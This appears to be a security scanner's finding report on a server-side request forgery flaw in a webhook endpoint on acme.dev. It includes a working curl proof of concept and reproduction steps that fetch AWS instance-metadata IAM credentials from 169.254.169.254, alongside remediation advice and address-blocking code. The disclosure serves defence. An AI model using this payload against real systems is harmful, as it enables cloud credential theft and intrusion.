← back to report
critical

SSRF in webhook URL field exfiltrates cloud metadata credentials

POST /api/integrations/webhooks

CVSS 9.3CWE-918category injection

description

The webhook configuration endpoint fetches the user-supplied URL server-side to deliver a verification ping. No URL validation is performed, so internal and link-local addresses are reachable from the application server. The endpoint reflects the response body to the caller, allowing exfiltration of IMDSv1 credentials, internal admin panels, and other intranet resources. We reproduced the bypass and retrieved a working set of temporary AWS credentials scoped to the `web-app-role` IAM role.

evidence

Request

POST /api/integrations/webhooks HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}

Response

HTTP/1.1 200 OK
Content-Type: application/json

{
  "verification_response": "AccessKeyId: AKIA••••••••••••••••\nSecretAccessKey: wJal••••••••••••••••••••••••••••••••••••\nToken: IQoJb3Jp•••••••••\nExpiration: 2026-05-20T11:51:13Z"
}

PoC

curl -s -X POST https://acme.dev/api/integrations/webhooks -H 'Authorization: Bearer <session-token>' -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}'

Credentials redacted in the sample. The live scan retrieved the full values and validated them against the cloud control plane (read-only call to STS GetCallerIdentity).

reproduction steps

  1. Authenticate to the API as any user.
  2. POST to /api/integrations/webhooks with body {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}.
  3. Read the `verification_response` field. It contains the IMDSv1 credentials for the application's IAM role.
  4. Validate the credentials with `aws sts get-caller-identity` (read-only).

remediation

Allowlist outbound hosts and reject private/link-local ranges before fetching, resolve DNS once and connect by the resolved IP (defeats DNS rebinding), and require IMDSv2 (hop-limit 1) so a bare GET cannot read role credentials. Return a boolean success only; never reflect the upstream body.

python

import ipaddress, socket

def resolve_public(host: str) -> str:
    ip = ipaddress.ip_address(socket.gethostbyname(host))
    if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
        raise ValueError('blocked: non-public address')
    return str(ip)  # connect to this IP, not the hostname

rotate the credentials you provided.

we ran the scan with the credentials you supplied. treat them as compromised and rotate now.

couldn't reproduce this finding?

if it does not reproduce from the evidence above, you get back what this finding cost you: its credits for a credit unlock, or a cash refund for a finding bought through our earlier per-finding checkout. see how claims work, or email team@recon.sh with finding ID f1 and scan ID sample.